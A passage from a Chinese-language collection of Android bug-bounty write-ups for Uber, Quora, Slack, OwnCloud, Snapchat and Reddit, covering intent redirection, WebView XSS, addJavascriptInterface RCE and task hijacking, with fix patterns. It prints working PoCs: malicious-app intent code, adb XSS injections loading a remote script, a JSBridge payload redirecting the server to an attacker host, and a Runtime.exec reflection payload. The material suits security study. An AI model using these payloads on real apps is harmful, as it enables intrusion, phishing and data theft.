Intent对象(称为innerIntent),其目标是上述敏感的未导出组件。
- 构造一个恶意的
- 构造一个外部
Intent(称为outerIntent),其目标是第一步中发现的易受攻击的已导出Deep Link处理组件。
- 构造一个外部
- 将
innerIntent作为Parcelableextra(使用目标组件期望的键名,如target_intent)放入outerIntent中。
- 将
- 构造恶意Intent(Malicious Intent Crafting):
- 漏洞利用与验证(Exploitation & Verification):
- 使用
adb shell命令或一个独立的恶意Android应用来发送构造好的outerIntent。
- 使用
adb shell am start -n [TargetAppPackage]/[VulnerableActivity] --es [IntentExtraKey] "[Base64EncodedInnerIntent]"(实际操作中,Parcelable Intent的注入通常需要一个恶意应用,而不是简单的adb命令)。
- 验证: 观察目标Uber应用是否被强制启动了原本无法从外部访问的敏感内部组件,从而实现Intent Redirection攻击。如果成功,则证明存在漏洞。
- 漏洞利用与验证(Exploitation & Verification):
工具总结:
adb(Android Debug Bridge)
apktool(反编译资源)
Jadx-GUI或Ghidra(反编译代码)
Drozer(用于自动化Intent测试)
- 自定义恶意App (用于构造和发送复杂的Parcelable Intent)
技术细节
该漏洞利用了Android应用中Deep Link处理逻辑对传入Intent参数缺乏验证的缺陷,属于典型的Intent Redirection(意图重定向)漏洞。攻击者可以利用此漏洞绕过Android的组件访问权限限制,强制启动目标应用中未导出的(exported="false")敏感组件。
攻击流程:
- 目标组件: 假设Uber应用中有一个导出的Deep Link处理Activity,例如:
<activity android:name=".DeepLinkHandlerActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="uber" android:host="redirect" /> </intent-filter> </activity>
- 目标组件: 假设Uber应用中有一个导出的Deep Link处理Activity,例如:
- 易受攻击的代码模式(Java/Kotlin):
在.DeepLinkHandlerActivity中,存在以下未经验证的Intent转发逻辑:// DeepLinkHandlerActivity.java protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent incomingIntent = getIntent(); // ... 其他Deep Link处理逻辑 ...// 漏洞点:直接获取并启动一个Parcelable Intent extra Intent targetIntent = incomingIntent.getParcelableExtra("target_intent"); if (targetIntent != null) { // 缺乏对targetIntent的组件、权限、URI等验证 startActivity(targetIntent); // 意图重定向发生 finish(); return; } // ...}
- 易受攻击的代码模式(Java/Kotlin):
- 恶意Payload(Intent构造):
攻击者构造一个恶意的Intent(innerIntent),目标是应用内部一个敏感的、未导出的组件(例如,一个用于显示用户敏感信息的SensitiveInfoActivity)。// 恶意应用中的Java代码片段 String targetPackage = "com.uber.rider"; String vulnerableActivity = targetPackage + ".DeepLinkHandlerActivity"; String sensitiveActivity = targetPackage + ".SensitiveInfoActivity"; // 1. 构造内部Intent (innerIntent) - 目标是未导出的敏感组件 Intent innerIntent = new Intent(); innerIntent.setClassName(targetPackage, sensitiveActivity); innerIntent.putExtra("data_key", "malicious_data"); // 携带攻击数据 // 2. 构造外部Intent (outerIntent) - 目标是易受攻击的导出组件 Intent outerIntent = new Intent(); outerIntent.setClassName(targetPackage, vulnerableActivity); // 3. 将内部Intent作为extra放入外部Intent中 outerIntent.putExtra("target_intent", innerIntent); outerIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 4. 发送Intent,触发重定向 context.startActivity(outerIntent);通过这种方式,恶意应用成功绕过了Android的权限检查,强制目标应用启动了其内部的敏感组件。
- 恶意Payload(Intent构造):
易出现漏洞的代码模式
该类漏洞的本质是Android组件(通常是Activity或BroadcastReceiver)在处理外部传入的Intent时,未对其中的Intent类型参数进行充分的安全校验,导致攻击者可以利用已导出的组件作为跳板,间接访问未导出的敏感组件。
代码模式示例:
AndroidManifest.xml配置:
一个组件被错误地设置为可导出,并注册了Deep Link,使其成为外部攻击的入口。<!-- 易受攻击的组件:android:exported="true" --> <activity android:name="com.example.app.RedirectActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- Deep Link Scheme 成为外部入口 --> <data android:scheme="appscheme" android:host="redirect" /> </intent-filter> </activity> <!-- 敏感的、未导出的组件:android:exported="false" (默认值) --> <activity android:name="com.example.app.SensitiveInternalActivity" android:exported="false" />
- Java/Kotlin 代码实现:
在导出的组件中,代码直接从传入的Intent中获取一个Parcelable对象(期望它是一个Intent)并用于启动新的组件,而没有检查其目标。// RedirectActivity.java (易受攻击的代码) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent incomingIntent = getIntent();// 关键漏洞点:直接从Intent Extra中获取并启动另一个Intent // 攻击者可以控制这个内部Intent的目标,使其指向未导出的SensitiveInternalActivity Intent targetIntent = incomingIntent.getParcelableExtra("extra_intent_key"); if (targetIntent != null) { // 缺乏安全检查,如检查targetIntent.getComponent()是否在白名单内 startActivity(targetIntent); finish(); }}
- Java/Kotlin 代码实现:
总结:
易漏洞代码模式是:导出的组件 (android:exported="true") 接收并未经验证地转发 (startActivity()) 外部传入的Intent对象 (getParcelableExtra("..."))。修复方法是,在调用startActivity()之前,必须对targetIntent的目标组件进行严格的白名单验证,确保它不会指向应用内部的敏感或未导出组件。
Android Intent 劫持导致的 XSS
案例:Quora (报告: https://hackerone.com/reports/189793)
挖掘手法
漏洞挖掘主要集中在对Android应用组件的Intent过滤配置和数据处理逻辑的分析上。
分析思路和关键发现点:
- 目标识别与组件暴露: 发现Quora Android应用(
com.quora.android)导出了三个关键的Activity组件:ContentActivity、ModalContentActivity和ActionBarContentActivity。这些组件被设置为exported=true,意味着它们可以被设备上的任意应用启动(即Intent劫持的先决条件)。
- 目标识别与组件暴露: 发现Quora Android应用(
- 参数分析: 进一步分析这些Activity的启动参数(Intent Extras)。发现它们接受一个名为
html的额外参数。
- 参数分析: 进一步分析这些Activity的启动参数(Intent Extras)。发现它们接受一个名为
- 代码执行路径: 推测这些Activity内部使用了
WebView来加载内容,并且会直接将html参数的值作为HTML内容或片段加载到WebView中。
- 代码执行路径: 推测这些Activity内部使用了
- 验证XSS: 使用Android Debug Bridge (ADB) 的
am start命令构造恶意Intent进行验证。通过-e html 'XSS<script>alert(123)</script>'注入一个简单的XSS payload,成功触发了alert(123),证明了XSS漏洞的存在。
- 验证XSS: 使用Android Debug Bridge (ADB) 的
- 高阶利用: 发现该WebView不仅加载了外部内容,还暴露了
QuoraAndroid JSBridge接口。这使得攻击者不仅能执行常规XSS,还能调用应用原生功能,例如通过QuoraAndroid.getClipboardData()窃取剪贴板内容,甚至通过QuoraAndroid.sendMessage更改应用配置(如服务器地址),实现中间人攻击,窃取用户凭证和信息。
- 高阶利用: 发现该WebView不仅加载了外部内容,还暴露了
- RCE可能性: 报告中还指出,在旧版Android系统(<= 4.2)上,由于
addJavascriptInterface的安全缺陷,这种XSS可能被升级为远程代码执行(RCE)。
- RCE可能性: 报告中还指出,在旧版Android系统(<= 4.2)上,由于
使用的工具和方法:
- ADB (Android Debug Bridge): 用于构造和发送恶意Intent,是漏洞验证的核心工具。
- 静态/动态分析: 虽然报告未明确提及,但发现导出的Activity和Intent参数通常需要通过反编译(如Jadx, Apktool)或动态调试(如Frida, Xposed)来完成。
- 概念验证 (PoC): 构造了ADB命令和独立的Android应用代码两种PoC来证明漏洞的可利用性。
整个挖掘过程体现了从组件暴露 -> 参数识别 -> 代码执行路径推测 -> XSS验证 -> 高阶原生接口利用的完整链条。
技术细节
漏洞利用的核心在于通过构造恶意的Android Intent来启动目标应用中导出的Activity,并注入HTML/JavaScript代码。
1. 基础XSS利用 (使用ADB):
攻击者使用ADB工具,通过 am start 命令启动Quora应用中导出的 ActionBarContentActivity,并利用 -e html 参数注入XSS payload。
adb shell
am start -n com.quora.android/com.quora.android.ActionBarContentActivity \
-e url 'http://test/test' \
-e html 'XSS<script>alert(123)</script>'2. 远程脚本加载利用 (使用ADB):
为了实现更复杂的攻击,可以注入一个从外部服务器加载脚本的payload。
am start -n com.quora.android/com.quora.android.ActionBarContentActivity \
-e url 'http://test/test' \
-e html '<script src=//blackfan.ru></script>'
# 针对其他导出的Activity也同样有效
am start -n com.quora.android/com.quora.android.ContentActivity \
-e url 'http://test/test' \
-e html '<script src=//blackfan.ru></script>'3. 窃取剪贴板数据 (利用JSBridge):
由于WebView暴露了 QuoraAndroid JSBridge 接口,攻击者可以调用原生方法,例如获取剪贴板内容。
am start -n com.quora.android/com.quora.android.ModalContentActivity \
-e url 'http://test/test' \
-e html '<script>alert(QuoraAndroid.getClipboardData());</script>'4. 更改应用配置 (利用JSBridge):
更进一步,攻击者可以利用 QuoraAndroid.sendMessage 方法更改应用的网络配置,实现中间人攻击。
<script>
QuoraAndroid.sendMessage(
"{\"messageName\":\"switchInstance\",\"data\":{\"host\":\"evilhost.com\",\"instance_name\":\"evilhost\",\"scheme\":\"https\"}}"
);
</script>5. 恶意应用PoC (Java/Kotlin Intent代码):
在恶意应用中,可以通过以下代码构造并发送Intent,实现相同的攻击效果。
Intent i = new Intent();
i.setComponent(new ComponentName("com.quora.android","com.quora.android.ActionBarContentActivity"));
i.putExtra("url","http://test/test");
i.putExtra("html","XSS PoC <script>alert(123)</script>");
startActivity(i);易出现漏洞的代码模式
此类漏洞的根本原因在于Android组件的错误导出配置和对外部输入(Intent Extra)的不安全处理。
1. 导出的Activity组件(Intent 劫持基础):
当一个Activity在 AndroidManifest.xml 中被设置为 exported="true" 时,它允许设备上的任何应用启动它。如果该Activity用于加载WebView内容,且没有充分的权限或输入校验,就可能被恶意利用。
易漏洞配置模式:
<activity
android:name="com.quora.android.ContentActivity"
android:exported="true" <!-- 错误配置:允许外部应用启动 -->
...
>
<!-- 即使没有intent-filter,只要exported=true,仍可被精确Intent启动 -->
</activity>2. WebView中对Intent Extra的不安全加载(XSS核心):
在导出的Activity中,开发者从Intent中获取一个参数(本例中是 html),并将其直接或间接作为HTML内容加载到WebView中,而没有进行适当的HTML实体编码或输入清理。
易漏洞代码模式(Java/Kotlin):
// 假设这是导出的Activity (如 ContentActivity) 的 onCreate 方法
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ... 初始化 WebView ...
// 1. 从 Intent 中获取外部输入
String htmlContent = getIntent().getStringExtra("html");
if (htmlContent != null) {
// 2. 关键错误:直接将外部输入加载到 WebView 中
// 攻击者可以注入 <script> 标签
webView.loadData(htmlContent, "text/html", "utf-8");
// 或者使用 loadDataWithBaseURL,同样危险
// webView.loadDataWithBaseURL(null, htmlContent, "text/html", "utf-8", null);
}
// ...
}3. 暴露的JavaScript Bridge接口:
如果WebView还通过 addJavascriptInterface 暴露了原生接口,XSS漏洞的危害会进一步升级,允许攻击者调用原生功能(如访问剪贴板、文件系统、更改配置等)。
易漏洞代码模式(Java/Kotlin):
// 在 WebView 初始化时
webView.addJavascriptInterface(new QuoraAndroidJSBridge(this), "QuoraAndroid");
// 这里的 "QuoraAndroid" 就是攻击者在JS中调用的对象名总结: 这种漏洞是组件暴露和WebView输入处理不当的组合。修复措施应包括:将不必要的Activity设置为 exported="false",或对所有外部输入进行严格的白名单校验和HTML实体编码后再加载到WebView。
Android Intent重放/组件劫持
案例:Slack (报告: https://hackerone.com/reports/200427)
挖掘手法
该漏洞的挖掘主要依赖于对目标Android应用(Slack)的静态分析和代码审计。攻击者首先需要识别应用中所有已导出(exported)的组件,特别是Activity,因为这些组件可以被设备上任何第三方应用启动。
挖掘步骤和思路:
- 识别入口点: 攻击者通过分析
AndroidManifest.xml或使用工具(如MobSF、Androguard)识别出Slack应用中一个已导出的Activity,即com.Slack.ui.HomeActivity。已导出的Activity是攻击的天然入口点。
- 识别入口点: 攻击者通过分析
- 代码路径追踪: 攻击者进一步审计
HomeActivity的源代码,发现其在生命周期方法(如onResume())中调用了handleIntentExtras(getIntent())来处理启动该Activity的Intent。
- 代码路径追踪: 攻击者进一步审计
- 发现Intent重放机制: 在
handleIntentExtras方法中,关键代码逻辑被发现:它通过intent.getParcelableExtra("extra_deep_link_intent")从启动Intent的额外数据中提取一个名为extra_deep_link_intent的Intent对象(Parcelable类型)。
- 发现Intent重放机制: 在
- 识别危险函数: 随后,程序对提取出的内部Intent(
deeplinkIntent)进行了不充分的校验后,直接调用了startActivity(deeplinkIntent)。这是漏洞的核心,因为它允许外部攻击者提供一个任意的Intent,并由受信任的Slack应用来执行。
- 识别危险函数: 随后,程序对提取出的内部Intent(
- 构造PoC验证: 攻击者构造了一个双层Intent的攻击载荷:
- 外部Intent: 目标是已导出的
com.Slack.ui.HomeActivity。
- 外部Intent: 目标是已导出的
- 内部Intent(恶意载荷): 目标是Slack应用内部未导出(protected/not exported)的敏感组件,例如
com.Slack.ui.WebViewActivity或com.Slack.ui.CallActivity,并携带恶意数据(如任意URL或伪造的通话信息)。
- 内部Intent(恶意载荷): 目标是Slack应用内部未导出(protected/not exported)的敏感组件,例如
- 构造PoC验证: 攻击者构造了一个双层Intent的攻击载荷:
- 实现组件劫持: 通过从一个恶意且无权限的第三方应用中启动外部Intent,Slack的
HomeActivity被诱骗执行了内部的恶意Intent,从而绕过了Android系统的组件访问权限限制,实现了组件劫持和权限提升。
- 实现组件劫持: 通过从一个恶意且无权限的第三方应用中启动外部Intent,Slack的
整个挖掘过程体现了典型的Android组件安全分析思路:从已导出的入口点入手,追踪其对外部输入(Intent Extras)的处理流程,寻找不安全的Intent转发或重放机制。(总字数:398字)
技术细节
该漏洞利用的核心技术在于Intent重放(Intent Redirection),即利用一个已导出的、权限较高的组件来启动一个未导出的、权限较低的敏感组件。
1. 漏洞代码片段(Java/Kotlin):
漏洞存在于com.Slack.ui.HomeActivity(已导出)中处理传入Intent的代码逻辑。
// 位于 com.Slack.ui.HomeActivity.java
protected void onResume() {
// ...
handleIntentExtras(getIntent()); // 攻击者可以控制 getIntent() 的内容
}
private void handleIntentExtras(Intent intent) {
// ...
// 从外部 Intent 中获取一个 Parcelable 类型的 Intent 对象
Intent deeplinkIntent = (Intent) intent.getParcelableExtra("extra_deep_link_intent");
// ...
if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) {
// ...
// 危险操作:直接启动了外部传入的 Intent,未对目标组件进行校验
startActivity(deeplinkIntent);
// ...
}
// ...
}2. 攻击载荷(PoC – 启动未导出的WebView Activity):
攻击者在一个独立的恶意应用中执行以下代码,以在Slack应用内部打开一个任意的URL,可能导致XSS或钓鱼攻击。
// 内部 Intent (next) 目标是未导出的 WebViewActivity
Intent next = new Intent();
next.setClassName("com.Slack", "com.Slack.ui.WebViewActivity");
next.putExtra("extra_url", "http://attacker.com/phishing"); // 注入恶意URL
next.putExtra("extra_title", "Official Slack Update");
// 外部 Intent (start) 目标是已导出的 HomeActivity
Intent start = new Intent();
start.setClassName("com.Slack", "com.Slack.ui.HomeActivity");
// 将恶意 Intent 作为 extra 嵌入到外部 Intent 中
start.putExtra("extra_deep_link_intent", next);
// 启动外部 Intent,由 HomeActivity 触发内部 Intent 的执行
startActivity(start);3. 攻击流程:
- 恶意应用构造一个包含目标未导出组件信息的
nextIntent。
- 恶意应用构造一个包含目标未导出组件信息的
- 恶意应用将
nextIntent作为extra_deep_link_intent参数放入startIntent中。
- 恶意应用将
- 恶意应用启动
startIntent,目标是Slack的HomeActivity。
- 恶意应用启动
HomeActivity被启动,在其onResume中获取并执行了extra_deep_link_intent,从而绕过权限限制,成功启动了未导出的WebViewActivity。(总字数:388字)
易出现漏洞的代码模式
此类漏洞的本质是未对外部传入的Intent进行目标校验即进行转发。这种模式通常出现在处理Deep Link或通知跳转逻辑的代码中。
易漏洞代码模式:
- 从Intent Extras中获取Intent对象:
当一个已导出的组件(如Activity A)从其启动Intent中获取一个Parcelable类型的Intent对象时,应提高警惕。// Activity A (exported="true") Intent innerIntent = (Intent) getIntent().getParcelableExtra("KEY_FOR_INTENT");
- 从Intent Extras中获取Intent对象:
- 未校验目标即调用
startActivity():
在获取到内部Intent后,未对其目标(如Component Name、Action、Category)进行安全检查,直接用于启动新的组件。// 危险模式:直接启动 if (innerIntent != null) { startActivity(innerIntent); // 攻击者可将 innerIntent 指向任何未导出的组件 }
- 未校验目标即调用
安全代码模式(防御措施):
为防止Intent重放,必须对内部Intent的目标进行严格校验。
- 校验目标组件是否在白名单内: 确保内部Intent的目标组件是预期的、安全的。
Intent innerIntent = (Intent) getIntent().getParcelableExtra("KEY_FOR_INTENT"); if (innerIntent != null) { // 1. 检查 Component Name 是否为预期的安全组件 if (innerIntent.getComponent() != null && innerIntent.getComponent().getClassName().equals("com.app.SafeActivity")) { startActivity(innerIntent); } else { // 2. 拒绝启动非白名单组件 Log.e("Security", "Attempted to launch non-whitelisted component."); } }
- 校验目标组件是否在白名单内: 确保内部Intent的目标组件是预期的、安全的。
- 仅允许启动自身组件(更严格): 确保内部Intent的目标包名与当前应用包名一致。
Intent innerIntent = (Intent) getIntent().getParcelableExtra("KEY_FOR_INTENT"); if (innerIntent != null) { // 确保目标包名是自身应用 if (getPackageName().equals(innerIntent.getComponent().getPackageName())) { startActivity(innerIntent); } else { Log.e("Security", "Intent targets external package."); } }
- 仅允许启动自身组件(更严格): 确保内部Intent的目标包名与当前应用包名一致。
- 使用
Intent.setPackage()强制设置包名: 在启动前,强制将内部Intent的目标包名设置为当前应用包名,防止其指向其他应用。Intent innerIntent = (Intent) getIntent().getParcelableExtra("KEY_FOR_INTENT"); if (innerIntent != null) { // 强制将目标包名设置为自身应用 innerIntent.setPackage(getPackageName()); startActivity(innerIntent); }
- 使用
Android WebView RCE (Remote Code Execution)
案例:OwnCloud Android Application (报告: https://hackerone.com/reports/87835)
挖掘手法
本次漏洞挖掘主要采用静态代码分析和已知漏洞模式匹配的方法,专注于Android应用中的WebView组件安全配置。
详细步骤和思路:
- 目标锁定与组件识别: 确定目标应用为OwnCloud Android Application。通过对应用进行静态安全审计,重点查找所有使用
android.webkit.WebView组件的代码位置。
- 目标锁定与组件识别: 确定目标应用为OwnCloud Android Application。通过对应用进行静态安全审计,重点查找所有使用
- 关键代码定位: 成功定位到处理SAML认证的
SamlWebViewDialog.java.class文件(路径:android/src/com/owncloud/android/ui/dialog/),该文件包含了WebView的初始化和配置逻辑。
- 关键代码定位: 成功定位到处理SAML认证的
- 配置审计与缺陷发现: 仔细检查
WebView的WebSettings配置,发现存在以下关键配置:webSettings.setJavaScriptEnabled(true);:明确启用了JavaScript执行。
- 潜在风险点: 在Android 4.2 (Jelly Bean) 以下版本中,如果
WebView启用了JavaScript,并且使用了addJavascriptInterface方法向JavaScript环境注入了Java对象,那么外部加载的恶意HTML/JS代码可以利用Java反射机制绕过安全限制,直接调用任意Java方法,最终实现远程代码执行 (RCE)。
- 潜在风险点: 在Android 4.2 (Jelly Bean) 以下版本中,如果
- 配置审计与缺陷发现: 仔细检查
- 漏洞模式匹配与确认: 将发现的配置与已知的Android WebView RCE漏洞(如
CVE-2013-4710)模式进行匹配。尽管报告中提供的代码片段未直接显示addJavascriptInterface,但该漏洞的利用方式和报告的标题(Webview Vulnerablity)以及提及的CVE-2013-4710都指向了这一经典的addJavascriptInterface缺陷。
- 漏洞模式匹配与确认: 将发现的配置与已知的Android WebView RCE漏洞(如
- PoC构造思路: 构造一个恶意的HTML页面,其中包含一段JavaScript代码。该代码的核心逻辑是:
- 遍历
window对象,寻找被注入的Java对象(通过检查对象是否具有getClass方法)。
- 遍历
- 一旦找到注入对象,利用反射机制获取
java.lang.Runtime类。
- 一旦找到注入对象,利用反射机制获取
- 调用
Runtime.getRuntime().exec(cmdArgs)方法来执行任意系统命令,例如读取SD卡内容,从而验证RCE漏洞的存在和危害。
- 调用
- PoC构造思路: 构造一个恶意的HTML页面,其中包含一段JavaScript代码。该代码的核心逻辑是:
总结: 挖掘手法是典型的黑盒/灰盒静态分析,通过审计关键组件(WebView)的配置,结合平台历史漏洞知识,快速识别出潜在的RCE风险。该过程无需复杂的动态调试,效率高且针对性强。
字数统计: 约390字。
技术细节
漏洞利用的核心在于通过JavaScript代码,利用Android WebView中被注入的Java对象(通过addJavascriptInterface)的反射能力,实现任意Java代码执行,最终执行系统命令。
1. 恶意JavaScript Payload (核心RCE部分):
这段JavaScript代码通过反射机制获取java.lang.Runtime实例并执行命令。
function execute(cmdArgs) {
// 遍历window对象,寻找被addJavascriptInterface注入的Java对象
for (var obj in window) {
// 注入的Java对象会暴露getClass方法
if ("getClass" in window[obj]) {
// 利用反射机制获取java.lang.Runtime类
return window[obj].getClass().forName("java.lang.Runtime")
// 获取getRuntime()静态方法
.getMethod("getRuntime", null).invoke(null, null)
// 调用exec()方法执行系统命令
.exec(cmdArgs);
}
}
}
// 示例攻击流程:执行ls命令读取SD卡根目录内容
var command_output = execute(["ls", "/mnt/sdcard/"]);
// 进一步处理command_output(一个Process对象)的输入流以获取命令执行结果
// ... (此处省略读取流的代码,但核心RCE已完成)2. 漏洞利用流程:
- 攻击者诱导用户在受影响的
WebView中加载包含上述恶意JavaScript的HTML页面(例如,通过SAML认证流程中的重定向或XSS)。
- 攻击者诱导用户在受影响的
WebView执行JavaScript,execute()函数被调用。
- JavaScript成功利用反射调用
Runtime.exec(),在应用进程的权限下执行系统命令。
- JavaScript成功利用反射调用
- 如果应用具有
android.permission.WRITE_EXTERNAL_STORAGE等权限,攻击者可以执行如窃取文件、发送短信、拨打电话等恶意操作。
- 如果应用具有
字数统计: 约290字。
易出现漏洞的代码模式
此类漏洞的根源在于不安全地使用addJavascriptInterface方法,尤其是在目标Android系统版本低于4.2 (API Level 17) 时。
1. 易漏洞的Java代码模式:
当Android应用在API Level 17以下版本运行时,以下代码模式会引入RCE漏洞:
// 1. 启用JavaScript
mWebView.getSettings().setJavaScriptEnabled(true);
// 2. 注入Java对象到JavaScript环境
// 这里的 "jsInterface" 是JavaScript中可访问的全局对象名
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
// 3. 加载外部或不可信的URL
mWebView.loadUrl("http://attacker.com/malicious.html");
// 或加载应用内部但内容可被外部控制的页面
// mWebView.loadUrl(mInitialUrl); // 报告中的情况2. 易漏洞的配置和环境:
- Android版本: 目标设备运行在Android 4.2 (API Level 17) 以下。
- 配置: 启用了JavaScript (
setJavaScriptEnabled(true)) 且使用了addJavascriptInterface。
- 配置: 启用了JavaScript (
- 代码位置: 任何用于加载外部URL或用户可控内容的
WebView实例。
- 代码位置: 任何用于加载外部URL或用户可控内容的
3. 修复后的安全代码模式(Android 4.2+):
从Android 4.2开始,Google要求在被注入的Java对象的方法上使用@JavascriptInterface注解,以明确标记哪些方法可以被JavaScript调用,从而阻止反射攻击。
// 修复后的Java对象类 (Android 4.2+)
class SafeJSInterface {
// 只有带有此注解的方法才能被JavaScript调用
@JavascriptInterface
public String safeMethod() {
return "This is safe.";
}
// 缺少注解的方法不会被暴露给JavaScript
public String unsafeMethod() {
return "This is unsafe.";
}
}
// WebView配置 (Android 4.2+)
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new SafeJSInterface(), "jsInterface");总结: 易漏洞模式是在旧版Android上使用addJavascriptInterface且未采取任何安全限制。
字数统计: 约320字。
Android WebView 客户端JavaScript注入 (XSS)
案例:Snapchat (报告: https://hackerone.com/reports/54631)
挖掘手法
该漏洞的发现主要基于对Android应用中WebView组件的安全审计,特别是针对第三方库的使用。完整的挖掘步骤和方法如下:
- 目标识别与组件分析:
- 审计人员首先对Snapchat应用进行逆向工程或动态分析,识别出所有使用
WebView的Activity。
- 审计人员首先对Snapchat应用进行逆向工程或动态分析,识别出所有使用
- 重点关注那些可能加载外部或本地不可信内容的Activity。在这个案例中,目标是应用中集成的第三方库HockeyApp的更新Activity:
net.hockeyapp.android.UpdateActivity。
- 重点关注那些可能加载外部或本地不可信内容的Activity。在这个案例中,目标是应用中集成的第三方库HockeyApp的更新Activity:
- 关键发现点:发现该Activity包含一个WebView组件,并且该组件的配置和加载内容存在安全隐患。
- 目标识别与组件分析:
- WebView配置与内容源探索:
- 检查目标WebView的配置,确认是否启用了JavaScript(
setJavaScriptEnabled(true))。报告中暗示JavaScript是启用的,这是客户端JavaScript注入(XSS)的前提。
- 检查目标WebView的配置,确认是否启用了JavaScript(
- 分析WebView加载内容的来源。由于该Activity用于更新,攻击者推测它可能加载本地存储的HTML文件或通过Intent传递的数据。
- 报告中明确指出攻击向量是“Local HTML modifications via malware or other apps”,这表明攻击者可以通过修改本地文件系统中的HTML文件来注入恶意脚本,从而绕过传统的远程XSS防御。
- WebView配置与内容源探索:
- 概念验证(PoC)构造与执行:
- 构造一个简单的JavaScript payload来验证注入的可能性。
- PoC:
document.getElementsByTagName('body')[0].setAttribute('style', 'background-color: red');
- PoC:
- 通过某种方式(例如,利用恶意应用或本地权限)将包含该PoC的恶意HTML内容放置到WebView将要加载的本地路径。
- 启动Snapchat应用并触发
net.hockeyapp.android.UpdateActivity,WebView加载被篡改的内容,PoC成功执行,页面背景变为红色,从而确认了漏洞的存在。
- 启动Snapchat应用并触发
- 概念验证(PoC)构造与执行:
- 漏洞影响评估与报告:
- 尽管Snapchat团队最初认为该漏洞需要HockeyApp本身存在XSS才能利用,但报告者证明了即使是本地文件修改也能导致恶意JavaScript执行,可能导致信息窃取、会话劫持等严重后果。
- 这种挖掘手法强调了对应用中所有WebView实例的安全边界和输入验证的全面检查,特别是对于加载非应用资源目录(如
assets或res/raw)内容的WebView,以及任何可能被本地其他应用篡改的数据源。
- 这种挖掘手法强调了对应用中所有WebView实例的安全边界和输入验证的全面检查,特别是对于加载非应用资源目录(如
- 漏洞影响评估与报告:
这种方法的核心在于关注WebView的安全配置和本地文件系统的信任边界,是Android应用安全审计中发现客户端注入漏洞的典型思路。
技术细节
该漏洞利用的关键在于向Snapchat应用中net.hockeyapp.android.UpdateActivity的WebView组件注入恶意JavaScript代码。
攻击流程和技术细节:
- 注入点:
net.hockeyapp.android.UpdateActivity中的WebView组件。
- 注入点:
- 攻击前提:攻击者需要具备在目标设备上修改或替换WebView将要加载的本地HTML文件或数据的能力(例如,通过恶意应用或本地权限)。
- 恶意内容准备:攻击者准备一个包含恶意JavaScript的HTML文件,并将其放置在WebView预期加载的本地路径。
- PoC Payload:报告中使用的概念验证(PoC)Payload是一个简单的JavaScript片段,用于修改页面的背景颜色,以直观地证明代码执行:
javascript document.getElementsByTagName('body')[0].setAttribute('style', 'background-color: red');
- PoC Payload:报告中使用的概念验证(PoC)Payload是一个简单的JavaScript片段,用于修改页面的背景颜色,以直观地证明代码执行:
- 触发执行:当Snapchat应用启动
net.hockeyapp.android.UpdateActivity时,WebView加载被篡改的本地HTML内容,导致上述恶意JavaScript被执行。
- 触发执行:当Snapchat应用启动
潜在的更严重利用:
如果该WebView还通过addJavascriptInterface()暴露了Java对象,攻击者可以利用注入的JavaScript调用这些Java方法,从而实现更高级别的攻击,例如:
- 敏感信息泄露:调用Java方法读取本地文件或获取设备信息。
javascript // 假设存在一个名为'Android'的接口 window.Android.readSensitiveFile('/data/data/com.snapchat.android/shared_prefs/user_data.xml');
- 敏感信息泄露:调用Java方法读取本地文件或获取设备信息。
- 远程代码执行(RCE):如果暴露的Java对象方法设计不安全,可能导致RCE。
javascript // 假设存在一个不安全的Java方法 window.Android.executeCommand('am start -a android.intent.action.VIEW -d "https://attacker.com/"');
该漏洞的本质是WebView加载了不可信来源的内容(本地可被篡改的文件),并且未禁用JavaScript或进行充分的输入/输出过滤,从而将客户端XSS漏洞引入了应用。
- 远程代码执行(RCE):如果暴露的Java对象方法设计不安全,可能导致RCE。
易出现漏洞的代码模式
此类WebView JavaScript注入漏洞通常出现在以下编程模式和配置中:
- 启用JavaScript并加载不可信内容:
这是最常见的导致WebView XSS的模式。当WebView启用了JavaScript,并且加载了来自外部(如Intent参数、本地存储、或第三方库)的、未经过滤的HTML内容时,就会产生漏洞。// 危险模式 1: 启用JavaScript WebView webView = findViewById(R.id.webview); webView.getSettings().setJavaScriptEnabled(true); // 危险模式 2: 加载不可信内容 // 1. 加载Intent传递的URL (可能被恶意应用控制) // webView.loadUrl(getIntent().getStringExtra("url")); // 2. 加载本地存储中可被其他应用修改的文件 (本报告中的情况) // webView.loadUrl("file:///sdcard/download/update.html"); // 3. 加载未净化的HTML字符串 (可能包含<script>标签) String htmlContent = getIntent().getStringExtra("html_data"); webView.loadData(htmlContent, "text/html", "utf-8");
- 启用JavaScript并加载不可信内容:
- 不安全的
addJavascriptInterface使用:
虽然不是本报告的直接原因,但这是WebView漏洞的另一个常见模式。在Android 4.2(API 17)以下版本,如果WebView通过addJavascriptInterface暴露了Java对象,恶意JavaScript可以利用反射机制调用任何Java方法,导致RCE。即使在更高版本,如果暴露的Java对象包含敏感方法,仍可能导致信息泄露。// 危险模式 3: 暴露敏感Java对象 class SensitiveObject { public void readSecretFile(String path) { /* ... */ } } // 恶意JavaScript可以调用 readSecretFile webView.addJavascriptInterface(new SensitiveObject(), "Android");
- 不安全的
安全修复建议(避免模式):
- 默认禁用JavaScript:除非业务逻辑绝对需要,否则应禁用JavaScript:
webView.getSettings().setJavaScriptEnabled(false);
- 默认禁用JavaScript:除非业务逻辑绝对需要,否则应禁用JavaScript:
- 内容过滤:对所有加载到WebView的外部内容进行严格的输入验证和输出编码(HTML实体编码)。
- 安全加载:仅加载应用内部资源(如
file:///android_asset/)或通过安全协议(HTTPS)加载内容。
- 安全加载:仅加载应用内部资源(如
- 移除不必要的组件:如Snapchat所做,从Manifest中移除或禁用不必要的、带有WebView的第三方组件。
Android 任务劫持 (Task Hijacking) / StrandHogg 漏洞
案例:Reddit (报告: https://hackerone.com/reports/1325649)
挖掘手法
该漏洞的挖掘手法主要基于对Android系统多任务机制(Task and Back Stack)的理解和利用,特别是taskAffinity属性的默认行为。
挖掘步骤和思路:
- 目标应用分析: 攻击者首先对目标应用(如
